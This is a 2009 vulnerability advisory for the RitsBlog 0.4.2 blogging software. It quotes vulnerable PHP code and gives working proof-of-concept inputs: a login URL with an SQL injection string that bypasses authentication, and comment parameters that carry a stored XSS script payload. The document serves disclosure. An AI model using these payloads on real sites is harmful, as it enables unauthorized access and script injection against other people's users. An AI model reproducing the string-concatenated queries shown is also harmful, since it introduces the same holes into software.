RitsBlog 0.4.2 (Authentication Bypass) SQL Injection Vulnerability / XSS Persistent Vulnerability

******* Salvatore "drosophila" Fresta *******

[+] Application: RitsBlog
[+] Version: 0.4.2
[+] Website: http://sourceforge.net/projects/ritsblog/

[+] Bugs: [A] SQL Injection
[B] XSS Persistent

[+] Exploitation: Remote
[+] Date: 02 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

• [1] Bugs
• [2] Code
• [3] Fix

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[+] Bugs

• [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: ritsBlogAdmin.class.php

This blog is entirely vulnerable to SQL Injection.
The following is the vulnerable query that can be
used to bypass authentication.

In jobs.php:

if ($_GET[j] == "login"){
if ($blog -> login($_GET[p])){
$_SESSION[loggedin] = "ok";
$_SESSION[userID] = $blog -> userID;
echo "Password found. Loging in…";
…

In ritsBlogAdmin.class.php:

function login($password){
global $db;
$sql = "select * from users where secretWord = '$password'";
…
}

• [B] XSS Persistent

[-] Requisites: none
[-] File affected: ritsBlogAdmin.class.php

In jobs.php:

if ($_POST[j] == "addComment"){
echo $blog -> addComment($_POST[id], $_POST[name],
$_POST[body]);
}

In ritsBlogAdmin.class.php

function addComment($id, $name, $body){
global $db;
$sql = "INSERT INTO comments (name, postID, date, text)
VALUES('" . addslashes($name) . "','" . $id . "',NOW(),'" .
addslashes($body) . "')";
…
}

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[+] Code

• [A] SQL Injection

http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1

• [B] XSS Persistent

It is possible using forms in the index.php or
to send over POST method the following values:

?j=addComment&id=54&name=myname&body=<script>alert('XSS');</script>

or

?j=addComment&id=54&name=<script>alert('XSS');</script>&body=body

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[+] Fix

No fix.

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–
Salvatore "drosophila" Fresta
CWNP444351